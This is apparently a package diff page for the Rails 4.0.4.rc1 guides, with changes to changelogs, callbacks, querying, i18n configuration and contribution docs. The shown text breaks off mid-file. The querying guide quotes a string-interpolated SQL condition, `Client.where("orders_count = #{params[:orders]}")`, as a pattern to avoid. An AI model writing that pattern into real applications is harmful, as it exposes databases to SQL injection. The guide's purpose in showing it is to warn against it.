rails 4.0.3 → 4.0.4.rc1
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/guides/CHANGELOG.md +16 -1
- data/guides/bug_report_templates/action_controller_master.rb +2 -2
- data/guides/bug_report_templates/active_record_master.rb +1 -1
- data/guides/code/getting_started/Gemfile +1 -1
- data/guides/code/getting_started/config/boot.rb +1 -1
- data/guides/code/getting_started/public/robots.txt +1 -1
- data/guides/rails_guides.rb +1 -1
- data/guides/rails_guides/generator.rb +1 -1
- data/guides/source/4_0_release_notes.md +1 -1
- data/guides/source/_welcome.html.erb +1 -1
- data/guides/source/action_controller_overview.md +7 -7
- data/guides/source/action_view_overview.md +2 -2
- data/guides/source/active_record_callbacks.md +52 -3
- data/guides/source/active_record_querying.md +11 -7
- data/guides/source/active_record_validations.md +9 -9
- data/guides/source/active_support_core_extensions.md +3 -3
- data/guides/source/api_documentation_guidelines.md +8 -0
- data/guides/source/asset_pipeline.md +4 -4
- data/guides/source/configuring.md +6 -0
- data/guides/source/contributing_to_ruby_on_rails.md +12 -7
- data/guides/source/documents.yaml +1 -1
- data/guides/source/engines.md +1 -1
- data/guides/source/form_helpers.md +10 -3
- data/guides/source/getting_started.md +5 -1
- data/guides/source/i18n.md +4 -3
- data/guides/source/initialization.md +2 -2
- data/guides/source/layout.html.erb +1 -1
- data/guides/source/layouts_and_rendering.md +0 -2
- data/guides/source/migrations.md +1 -1
- data/guides/source/rails_application_templates.md +1 -1
- data/guides/source/security.md +25 -25
- data/guides/source/testing.md +19 -14
- metadata +13 -13
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: a2c275a8e9bb6077b8c829c04e64da999f6e6ea8
|
4
|
+
data.tar.gz: 1607fdd4071711a58cb72ad011ef439fce04259d
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: f34289e24f0c31bbfd66c58b61482fe5f4de4577fae9a5d060086baaf7b082fe40eb7e0731cb837ec2ad392fe9efcbf1c8a0407ff94db80c2243cfc0a0007524
|
7
|
+
data.tar.gz: 2db1b487696df9005ae762b1bad2ab21787c422f6f056655a809d8da6d9fbf8d88069743f39e034f396b4d1c6bda3b29610f423e2f8feee891ecb820bf72f31b
|
data/guides/CHANGELOG.md
CHANGED
@@ -1,4 +1,19 @@
|
|
1
|
-
##
|
1
|
+
## Rails 4.0.4 ##
|
2
|
+
|
3
|
+
*No changes*
|
4
|
+
|
5
|
+
|
6
|
+
## Rails 4.0.3 (February 18, 2014) ##
|
7
|
+
|
8
|
+
*No changes*
|
9
|
+
|
10
|
+
|
11
|
+
## Rails 4.0.2 (December 02, 2013) ##
|
12
|
+
|
13
|
+
*No changes*
|
14
|
+
|
15
|
+
|
16
|
+
## Rails 4.0.1 (November 01, 2013) ##
|
2
17
|
|
3
18
|
* Added the Rails maintenance policy to the guides.
|
4
19
|
|
@@ -1,4 +1,4 @@
|
|
1
|
-
unless File.
|
1
|
+
unless File.exist?('Gemfile')
|
2
2
|
File.write('Gemfile', <<-GEMFILE)
|
3
3
|
source 'https://rubygems.org'
|
4
4
|
gem 'rails', github: 'rails/rails'
|
@@ -48,4 +48,4 @@ class BugTest < Minitest::Test
|
|
48
48
|
def app
|
49
49
|
Rails.application
|
50
50
|
end
|
51
|
-
end
|
51
|
+
end
|
@@ -1,4 +1,4 @@
|
|
1
|
-
# See http://www.robotstxt.org/
|
1
|
+
# See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
|
2
2
|
#
|
3
3
|
# To ban all spiders from the entire site uncomment the next two lines:
|
4
4
|
# User-agent: *
|
data/guides/rails_guides.rb
CHANGED
@@ -184,7 +184,7 @@ module RailsGuides
|
|
184
184
|
def generate?(source_file, output_file)
|
185
185
|
fin = File.join(source_dir, source_file)
|
186
186
|
fout = output_path_for(output_file)
|
187
|
-
all || !File.
|
187
|
+
all || !File.exist?(fout) || File.mtime(fout) < File.mtime(fin)
|
188
188
|
end
|
189
189
|
|
190
190
|
def generate_guide(guide, output_file)
|
@@ -137,7 +137,7 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/master/activ
|
|
137
137
|
|
138
138
|
* `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`.
|
139
139
|
|
140
|
-
* `String#to_date` now raises `
|
140
|
+
* `String#to_date` now raises `ArgumentError: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass`
|
141
141
|
when given an invalid date. It is now the same as `Date.parse`, and it accepts more invalid dates than 3.x, such as:
|
142
142
|
|
143
143
|
```
|
@@ -15,7 +15,7 @@
|
|
15
15
|
</p>
|
16
16
|
<% end %>
|
17
17
|
<p>
|
18
|
-
The guides for Rails 3.2.x are available at <a href="http://guides.rubyonrails.org/v3.2.
|
18
|
+
The guides for Rails 3.2.x are available at <a href="http://guides.rubyonrails.org/v3.2.17/">http://guides.rubyonrails.org/v3.2.17/</a>.
|
19
19
|
</p>
|
20
20
|
<p>
|
21
21
|
The guides for Rails 2.3.x are available at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>.
|
@@ -321,16 +321,16 @@ in mind. It is not meant as a silver bullet to handle all your
|
|
321
321
|
whitelisting problems. However you can easily mix the API with your
|
322
322
|
own code to adapt to your situation.
|
323
323
|
|
324
|
-
Imagine a scenario where you
|
325
|
-
|
326
|
-
|
327
|
-
|
324
|
+
Imagine a scenario where you have parameters representing a product
|
325
|
+
name and a hash of arbitrary data associated with that product, and
|
326
|
+
you want to whitelist the product name attribute but also the whole
|
327
|
+
data hash. The strong parameters API doesn't let you directly
|
328
|
+
whitelist the whole of a nested hash with any keys, but you can use
|
329
|
+
the keys of your nested hash to declare what to whitelist:
|
328
330
|
|
329
331
|
```ruby
|
330
332
|
def product_params
|
331
|
-
params.require(:product).permit(:name
|
332
|
-
whitelisted[:data] = params[:product][:data]
|
333
|
-
end
|
333
|
+
params.require(:product).permit(:name, data: params[:product][:data].try(:keys))
|
334
334
|
end
|
335
335
|
```
|
336
336
|
|
@@ -262,7 +262,7 @@ Rails determines the name of the partial to use by looking at the model name in
|
|
262
262
|
You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
|
263
263
|
|
264
264
|
```erb
|
265
|
-
<%= render @products, spacer_template: "product_ruler" %>
|
265
|
+
<%= render partial: @products, spacer_template: "product_ruler" %>
|
266
266
|
```
|
267
267
|
|
268
268
|
Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials.
|
@@ -1259,7 +1259,7 @@ Creates a field set for grouping HTML form elements.
|
|
1259
1259
|
Creates a file upload field.
|
1260
1260
|
|
1261
1261
|
```html+erb
|
1262
|
-
<%= form_tag
|
1262
|
+
<%= form_tag({action:"post"}, multipart: true) do %>
|
1263
1263
|
<label for="file">File to Upload</label> <%= file_field_tag "file" %>
|
1264
1264
|
<%= submit_tag %>
|
1265
1265
|
<% end %>
|
@@ -55,7 +55,7 @@ class User < ActiveRecord::Base
|
|
55
55
|
end
|
56
56
|
```
|
57
57
|
|
58
|
-
Callbacks can also be registered to only fire on certain
|
58
|
+
Callbacks can also be registered to only fire on certain life cycle events:
|
59
59
|
|
60
60
|
```ruby
|
61
61
|
class User < ActiveRecord::Base
|
@@ -141,6 +141,55 @@ You have initialized an object!
|
|
141
141
|
=> #<User id: 1>
|
142
142
|
```
|
143
143
|
|
144
|
+
### `after_touch`
|
145
|
+
|
146
|
+
The `after_touch` callback will be called whenever an Active Record object is touched.
|
147
|
+
|
148
|
+
```ruby
|
149
|
+
class User < ActiveRecord::Base
|
150
|
+
after_touch do |user|
|
151
|
+
puts "You have touched an object"
|
152
|
+
end
|
153
|
+
end
|
154
|
+
|
155
|
+
>> u = User.create(name: 'Kuldeep')
|
156
|
+
=> #<User id: 1, name: "Kuldeep", created_at: "2013-11-25 12:17:49", updated_at: "2013-11-25 12:17:49">
|
157
|
+
|
158
|
+
>> u.touch
|
159
|
+
You have touched an object
|
160
|
+
=> true
|
161
|
+
```
|
162
|
+
|
163
|
+
It can be used along with `belongs_to`:
|
164
|
+
|
165
|
+
```ruby
|
166
|
+
class Employee < ActiveRecord::Base
|
167
|
+
belongs_to :company, touch: true
|
168
|
+
after_touch do
|
169
|
+
puts 'An Employee was touched'
|
170
|
+
end
|
171
|
+
end
|
172
|
+
|
173
|
+
class Company < ActiveRecord::Base
|
174
|
+
has_many :employees
|
175
|
+
after_touch :log_when_employees_or_company_touched
|
176
|
+
|
177
|
+
private
|
178
|
+
def log_when_employees_or_company_touched
|
179
|
+
puts 'Employee/Company was touched'
|
180
|
+
end
|
181
|
+
end
|
182
|
+
|
183
|
+
>> @employee = Employee.last
|
184
|
+
=> #<Employee id: 1, company_id: 1, created_at: "2013-11-25 17:04:22", updated_at: "2013-11-25 17:05:05">
|
185
|
+
|
186
|
+
# triggers @employee.company.touch
|
187
|
+
>> @employee.touch
|
188
|
+
Employee/Company was touched
|
189
|
+
An Employee was touched
|
190
|
+
=> true
|
191
|
+
```
|
192
|
+
|
144
193
|
Running Callbacks
|
145
194
|
-----------------
|
146
195
|
|
@@ -288,7 +337,7 @@ Here's an example where we create a class with an `after_destroy` callback for a
|
|
288
337
|
```ruby
|
289
338
|
class PictureFileCallbacks
|
290
339
|
def after_destroy(picture_file)
|
291
|
-
if File.
|
340
|
+
if File.exist?(picture_file.filepath)
|
292
341
|
File.delete(picture_file.filepath)
|
293
342
|
end
|
294
343
|
end
|
@@ -308,7 +357,7 @@ Note that we needed to instantiate a new `PictureFileCallbacks` object, since we
|
|
308
357
|
```ruby
|
309
358
|
class PictureFileCallbacks
|
310
359
|
def self.after_destroy(picture_file)
|
311
|
-
if File.
|
360
|
+
if File.exist?(picture_file.filepath)
|
312
361
|
File.delete(picture_file.filepath)
|
313
362
|
end
|
314
363
|
end
|
@@ -436,7 +436,7 @@ to this code:
|
|
436
436
|
Client.where("orders_count = #{params[:orders]}")
|
437
437
|
```
|
438
438
|
|
439
|
-
because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out
|
439
|
+
because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database **as-is**. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out they can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
|
440
440
|
|
441
441
|
TIP: For more information on the dangers of SQL injection, see the [Ruby on Rails Security Guide](security.html#sql-injection).
|
442
442
|
|
@@ -826,6 +826,8 @@ client.save
|
|
826
826
|
|
827
827
|
As `client` is explicitly set to be a readonly object, the above code will raise an `ActiveRecord::ReadOnlyRecord` exception when calling `client.save` with an updated value of _visits_.
|
828
828
|
|
829
|
+
NOTE: using `joins` without an explicit `select` will return readonly records.
|
830
|
+
|
829
831
|
Locking Records for Update
|
830
832
|
--------------------------
|
831
833
|
|
@@ -929,6 +931,8 @@ This will result in the following SQL:
|
|
929
931
|
SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id
|
930
932
|
```
|
931
933
|
|
934
|
+
NOTE: using `joins` might return readonly records. See [readonly](active_record_querying.html#readonly-objects) for more details.
|
935
|
+
|
932
936
|
### Using Array/Hash of Named Associations
|
933
937
|
|
934
938
|
WARNING: This method only works with `INNER JOIN`.
|
@@ -1293,7 +1297,7 @@ especially useful if a `default_scope` is specified in the model and should not
|
|
1293
1297
|
applied for this particular query.
|
1294
1298
|
|
1295
1299
|
```ruby
|
1296
|
-
Client.unscoped.
|
1300
|
+
Client.unscoped.load
|
1297
1301
|
```
|
1298
1302
|
|
1299
1303
|
This method removes all scoping and will do a normal query on the table.
|
@@ -1310,11 +1314,6 @@ Client.unscoped {
|
|
1310
1314
|
Dynamic Finders
|
1311
1315
|
---------------
|
1312
1316
|
|
1313
|
-
NOTE: Dynamic finders have been deprecated in Rails 4.0 and will be
|
1314
|
-
removed in Rails 4.1. The best practice is to use Active Record scopes
|
1315
|
-
instead. You can find the deprecation gem at
|
1316
|
-
https://github.com/rails/activerecord-deprecated_finders
|
1317
|
-
|
1318
1317
|
For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` and methods.
|
1319
1318
|
|
1320
1319
|
You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")`
|
@@ -1324,6 +1323,11 @@ If you want to find both by name and locked, you can chain these finders togethe
|
|
1324
1323
|
Find or Build a New Object
|
1325
1324
|
--------------------------
|
1326
1325
|
|
1326
|
+
NOTE: Some dynamic finders have been deprecated in Rails 4.0 and will be
|
1327
|
+
removed in Rails 4.1. The best practice is to use Active Record scopes
|
1328
|
+
instead. You can find the deprecation gem at
|
1329
|
+
https://github.com/rails/activerecord-deprecated_finders
|
1330
|
+
|
1327
1331
|
It's common that you need to find a record or create it if it doesn't exist. You can do that with the `find_or_create_by` and `find_or_create_by!` methods.
|
1328
1332
|
|
1329
1333
|
### `find_or_create_by`
|
@@ -337,7 +337,7 @@ set. In fact, this set can be any enumerable object.
|
|
337
337
|
```ruby
|
338
338
|
class Account < ActiveRecord::Base
|
339
339
|
validates :subdomain, exclusion: { in: %w(www us ca jp),
|
340
|
-
message: "
|
340
|
+
message: "%{value} is reserved." }
|
341
341
|
end
|
342
342
|
```
|
343
343
|
|
@@ -616,10 +616,6 @@ The default error message is _"has already been taken"_.
|
|
616
616
|
This helper passes the record to a separate class for validation.
|
617
617
|
|
618
618
|
```ruby
|
619
|
-
class Person < ActiveRecord::Base
|
620
|
-
validates_with GoodnessValidator
|
621
|
-
end
|
622
|
-
|
623
619
|
class GoodnessValidator < ActiveModel::Validator
|
624
620
|
def validate(record)
|
625
621
|
if record.first_name == "Evil"
|
@@ -627,6 +623,10 @@ class GoodnessValidator < ActiveModel::Validator
|
|
627
623
|
end
|
628
624
|
end
|
629
625
|
end
|
626
|
+
|
627
|
+
class Person < ActiveRecord::Base
|
628
|
+
validates_with GoodnessValidator
|
629
|
+
end
|
630
630
|
```
|
631
631
|
|
632
632
|
NOTE: Errors added to `record.errors[:base]` relate to the state of the record
|
@@ -644,10 +644,6 @@ Like all other validations, `validates_with` takes the `:if`, `:unless` and
|
|
644
644
|
validator class as `options`:
|
645
645
|
|
646
646
|
```ruby
|
647
|
-
class Person < ActiveRecord::Base
|
648
|
-
validates_with GoodnessValidator, fields: [:first_name, :last_name]
|
649
|
-
end
|
650
|
-
|
651
647
|
class GoodnessValidator < ActiveModel::Validator
|
652
648
|
def validate(record)
|
653
649
|
if options[:fields].any?{|field| record.send(field) == "Evil" }
|
@@ -655,6 +651,10 @@ class GoodnessValidator < ActiveModel::Validator
|
|
655
651
|
end
|
656
652
|
end
|
657
653
|
end
|
654
|
+
|
655
|
+
class Person < ActiveRecord::Base
|
656
|
+
validates_with GoodnessValidator, fields: [:first_name, :last_name]
|
657
|
+
end
|
658
658
|
```
|
659
659
|
|
660
660
|
Note that the validator will be initialized *only once* for the whole application
|
@@ -886,7 +886,7 @@ class User < ActiveRecord::Base
|
|
886
886
|
end
|
887
887
|
```
|
888
888
|
|
889
|
-
With that configuration you get a user's name via
|
889
|
+
With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
|
890
890
|
|
891
891
|
```ruby
|
892
892
|
class User < ActiveRecord::Base
|
@@ -1380,6 +1380,8 @@ The third argument, `indent_empty_lines`, is a flag that says whether empty line
|
|
1380
1380
|
|
1381
1381
|
The `indent!` method performs indentation in-place.
|
1382
1382
|
|
1383
|
+
NOTE: Defined in `active_support/core_ext/string/indent.rb`.
|
1384
|
+
|
1383
1385
|
### Access
|
1384
1386
|
|
1385
1387
|
#### `at(position)`
|
@@ -2256,8 +2258,6 @@ The defaults for these options can be localized, their keys are:
|
|
2256
2258
|
| `:words_connector` | `support.array.words_connector` |
|
2257
2259
|
| `:last_word_connector` | `support.array.last_word_connector` |
|
2258
2260
|
|
2259
|
-
Options `:connector` and `:skip_last_comma` are deprecated.
|
2260
|
-
|
2261
2261
|
NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
|
2262
2262
|
|
2263
2263
|
#### `to_formatted_s`
|
@@ -42,6 +42,14 @@ Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. Wh
|
|
42
42
|
|
43
43
|
Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
|
44
44
|
|
45
|
+
When using pronouns in reference to a hypothetical person, such as "a user with a session cookie", gender neutral pronouns (they/their/them) should be used. Instead of:
|
46
|
+
|
47
|
+
* he or she... use they.
|
48
|
+
* him or her... use them.
|
49
|
+
* his or her... use their.
|
50
|
+
* his or hers... use theirs.
|
51
|
+
* himself or herself... use themselves.
|
52
|
+
|
45
53
|
English
|
46
54
|
-------
|
47
55
|
|
@@ -84,7 +84,7 @@ Fingerprinting is enabled by default for production and disabled for all other e
|
|
84
84
|
More reading:
|
85
85
|
|
86
86
|
* [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html)
|
87
|
-
* [Revving Filenames: don
|
87
|
+
* [Revving Filenames: don't use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)
|
88
88
|
|
89
89
|
|
90
90
|
How to Use the Asset Pipeline
|
@@ -249,10 +249,10 @@ When using the asset pipeline, paths to assets must be re-written and `sass-rail
|
|
249
249
|
* `image-url("rails.png")` becomes `url(/assets/rails.png)`
|
250
250
|
* `image-path("rails.png")` becomes `"/assets/rails.png"`.
|
251
251
|
|
252
|
-
The more generic form can also be used
|
252
|
+
The more generic form can also be used:
|
253
253
|
|
254
|
-
* `asset-url("rails.png"
|
255
|
-
* `asset-path("rails.png"
|
254
|
+
* `asset-url("rails.png")` becomes `url(/assets/rails.png)`
|
255
|
+
* `asset-path("rails.png")` becomes `"/assets/rails.png"`
|
256
256
|
|
257
257
|
#### JavaScript/CoffeeScript and ERB
|
258
258
|
|
@@ -242,8 +242,14 @@ config.middleware.delete "Rack::MethodOverride"
|
|
242
242
|
|
243
243
|
### Configuring i18n
|
244
244
|
|
245
|
+
All these configuration options are delegated to the `I18n` library.
|
246
|
+
|
247
|
+
* `config.i18n.available_locales` whitelists the available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application.
|
248
|
+
|
245
249
|
* `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`.
|
246
250
|
|
251
|
+
* `config.i18n.enforce_available_locales` ensures that all locales passed through i18n must be declared in the `available_locales` list, raising an `I18n::InvalidLocale` exception when setting an unavailable locale. Defaults to `true`. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input.
|
252
|
+
|
247
253
|
* `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`.
|
248
254
|
|
249
255
|
### Configuring Active Record
|
@@ -259,8 +259,8 @@ workflow with the [rails-dev-box](https://github.com/rails/rails-dev-box).
|
|
259
259
|
|
260
260
|
As a compromise, test what your code obviously affects, and if the change is
|
261
261
|
not in railties run the whole test suite of the affected component. If all is
|
262
|
-
green that's enough to propose your contribution. We have [Travis CI](https
|
263
|
-
|
262
|
+
green that's enough to propose your contribution. We have [Travis CI](https://travis-ci.org/rails/rails)
|
263
|
+
as a safety net for catching unexpected breakages
|
264
264
|
elsewhere.
|
265
265
|
|
266
266
|
TIP: Changes that are cosmetic in nature and do not add anything substantial to the stability, functionality, or testability of Rails will generally not be accepted.
|
@@ -430,13 +430,18 @@ $ git push origin branch_name
|
|
430
430
|
|
431
431
|
### Issue a Pull Request
|
432
432
|
|
433
|
-
Navigate to the Rails repository you just pushed to (e.g.
|
433
|
+
Navigate to the Rails repository you just pushed to (e.g.
|
434
|
+
https://github.com/your-user-name/rails) and click on "Pull Requests" seen in
|
435
|
+
the right panel. On the next page, press "New pull request" in the upper right
|
436
|
+
hand corner.
|
434
437
|
|
435
|
-
|
438
|
+
Click on "Edit", if you need to change the branches being compared (it compares
|
439
|
+
"master" by default) and press "Click to create a pull request for this
|
440
|
+
comparison".
|
436
441
|
|
437
|
-
Ensure the changesets you introduced are included
|
438
|
-
|
439
|
-
|
442
|
+
Ensure the changesets you introduced are included. Fill in some details about
|
443
|
+
your potential patch including a meaningful title. When finished, press "Send
|
444
|
+
pull request". The Rails core team will be notified about your submission.
|
440
445
|
|
441
446
|
### Get some Feedback
|
442
447
|
|
@@ -117,7 +117,7 @@
|
|
117
117
|
name: The Rails Initialization Process
|
118
118
|
work_in_progress: true
|
119
119
|
url: initialization.html
|
120
|
-
description: This guide explains the internals of the Rails initialization process as of Rails
|
120
|
+
description: This guide explains the internals of the Rails initialization process as of Rails 4
|
121
121
|
-
|
122
122
|
name: Extending Rails
|
123
123
|
documents:
|
data/guides/source/engines.md
CHANGED
@@ -737,7 +737,7 @@ You might want to render a form with a set of edit fields for each of a person's
|
|
737
737
|
<%= form_for @person do |person_form| %>
|
738
738
|
<%= person_form.text_field :name %>
|
739
739
|
<% @person.addresses.each do |address| %>
|
740
|
-
<%= person_form.fields_for address, index: address do |address_form|%>
|
740
|
+
<%= person_form.fields_for address, index: address.id do |address_form|%>
|
741
741
|
<%= address_form.text_field :city %>
|
742
742
|
<% end %>
|
743
743
|
<% end %>
|
@@ -760,9 +760,16 @@ This will result in a `params` hash that looks like
|
|
760
760
|
{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
|
761
761
|
```
|
762
762
|
|
763
|
-
Rails knows that all these inputs should be part of the person hash because you
|
763
|
+
Rails knows that all these inputs should be part of the person hash because you
|
764
|
+
called `fields_for` on the first form builder. By specifying an `:index` option
|
765
|
+
you're telling Rails that instead of naming the inputs `person[address][city]`
|
766
|
+
it should insert that index surrounded by [] between the address and the city.
|
767
|
+
This is often useful as it is then easy to locate which Address record
|
768
|
+
should be modified. You can pass numbers with some other significance,
|
769
|
+
strings or even `nil` (which will result in an array parameter being created).
|
764
770
|
|
765
|
-
To create more intricate nestings, you can specify the first part of the input
|
771
|
+
To create more intricate nestings, you can specify the first part of the input
|
772
|
+
name (`person[address]` in the previous example) explicitly:
|
766
773
|
|
767
774
|
```erb
|
768
775
|
<%= fields_for 'person[address][primary]', address, index: address do |address_form| %>
|
@@ -593,7 +593,10 @@ If you submit the form again now, Rails will complain about not finding
|
|
593
593
|
the `show` action. That's not very useful though, so let's add the
|
594
594
|
`show` action before proceeding.
|
595
595
|
|
596
|
-
|
596
|
+
As we have seen in the output of `rake routes`, the route for `show` action is
|
597
|
+
as follows:
|
598
|
+
|
599
|
+
```
|
597
600
|
post GET /posts/:id(.:format) posts#show
|
598
601
|
```
|
599
602
|
|
@@ -1077,6 +1080,7 @@ together.
|
|
1077
1080
|
|
1078
1081
|
```html+erb
|
1079
1082
|
<h1>Listing Posts</h1>
|
1083
|
+
<%= link_to 'New post', new_post_path %>
|
1080
1084
|
<table>
|
1081
1085
|
<tr>
|
1082
1086
|
<th>Title</th>
|
data/guides/source/i18n.md
CHANGED
@@ -96,7 +96,7 @@ This means, that in the `:en` locale, the key _hello_ will map to the _Hello wor
|
|
96
96
|
|
97
97
|
The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations.
|
98
98
|
|
99
|
-
NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize3](https://github.com/svenfuchs/globalize3) may help you implement it.
|
99
|
+
NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize3](https://github.com/svenfuchs/globalize3) may help you implement it.
|
100
100
|
|
101
101
|
The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
|
102
102
|
|
@@ -283,7 +283,7 @@ def extract_locale_from_accept_language_header
|
|
283
283
|
end
|
284
284
|
```
|
285
285
|
|
286
|
-
Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb).
|
286
|
+
Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb).
|
287
287
|
|
288
288
|
#### Using GeoIP (or Similar) Database
|
289
289
|
|
@@ -637,7 +637,7 @@ I18n.default_locale = :de
|
|
637
637
|
|
638
638
|
### Using Safe HTML Translations
|
639
639
|
|
640
|
-
Keys with a '_html' suffix and keys named 'html' are marked as HTML safe.
|
640
|
+
Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped.
|
641
641
|
|
642
642
|
```yaml
|
643
643
|
# config/locales/en.yml
|
@@ -797,6 +797,7 @@ So, for example, instead of the default error message `"can not be blank"` you c
|
|
797
797
|
| confirmation | - | :confirmation | - |
|
798
798
|
| acceptance | - | :accepted | - |
|
799
799
|
| presence | - | :blank | - |
|
800
|
+
| absence | - | :present | - |
|
800
801
|
| length | :within, :in | :too_short | count |
|
801
802
|
| length | :within, :in | :too_long | count |
|
802
803
|
| length | :is | :wrong_length | count |
|
@@ -51,7 +51,7 @@ The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot
|
|
51
51
|
# Set up gems listed in the Gemfile.
|
52
52
|
ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
|
53
53
|
|
54
|
-
require 'bundler/setup' if File.
|
54
|
+
require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
|
55
55
|
```
|
56
56
|
|
57
57
|
In a standard Rails application, there's a `Gemfile` which declares all
|
@@ -117,7 +117,7 @@ when 'server'
|
|
117
117
|
# Change to the application's path if there is no config.ru file in current dir.
|
118
118
|
# This allows us to run `rails server` from other directories, but still get
|
119
119
|
# the main config.ru and properly set the tmp directory.
|
120
|
-
Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.
|
120
|
+
Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exist?(File.expand_path("config.ru"))
|
121
121
|
|
122
122
|
require 'rails/commands/server'
|
123
123
|
Rails::Server.new.tap do |server|
|
@@ -4,7 +4,7 @@
|
|
4
4
|
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
|
5
5
|
<head>
|
6
6
|
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
|
7
|
-
<meta name="viewport" content="width=device-width, initial-scale=1"
|
7
|
+
<meta name="viewport" content="width=device-width, initial-scale=1"/>
|
8
8
|
|
9
9
|
<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
|
10
10
|
<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
|
@@ -1009,7 +1009,6 @@ You can also pass local variables into partials, making them even more powerful
|
|
1009
1009
|
|
1010
1010
|
```html+erb
|
1011
1011
|
<h1>New zone</h1>
|
1012
|
-
<%= error_messages_for :zone %>
|
1013
1012
|
<%= render partial: "form", locals: {zone: @zone} %>
|
1014
1013
|
```
|
1015
1014
|
|
@@ -1017,7 +1016,6 @@ You can also pass local variables into partials, making them even more powerful
|
|
1017
1016
|
|
1018
1017
|
```html+erb
|
1019
1018
|
<h1>Editing zone</h1>
|
1020
|
-
<%= error_messages_for :zone %>
|
1021
1019
|
<%= render partial: "form", locals: {zone: @zone} %>
|
1022
1020
|
```
|
1023
1021
|
|
data/guides/source/migrations.md
CHANGED
@@ -422,7 +422,7 @@ If the helpers provided by Active Record aren't enough you can use the `execute`
|
|
422
422
|
method to execute arbitrary SQL:
|
423
423
|
|
424
424
|
```ruby
|
425
|
-
|
425
|
+
Product.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1')
|
426
426
|
```
|
427
427
|
|
428
428
|
For more details and examples of individual methods, check the API documentation.
|
@@ -78,7 +78,7 @@ end
|
|
78
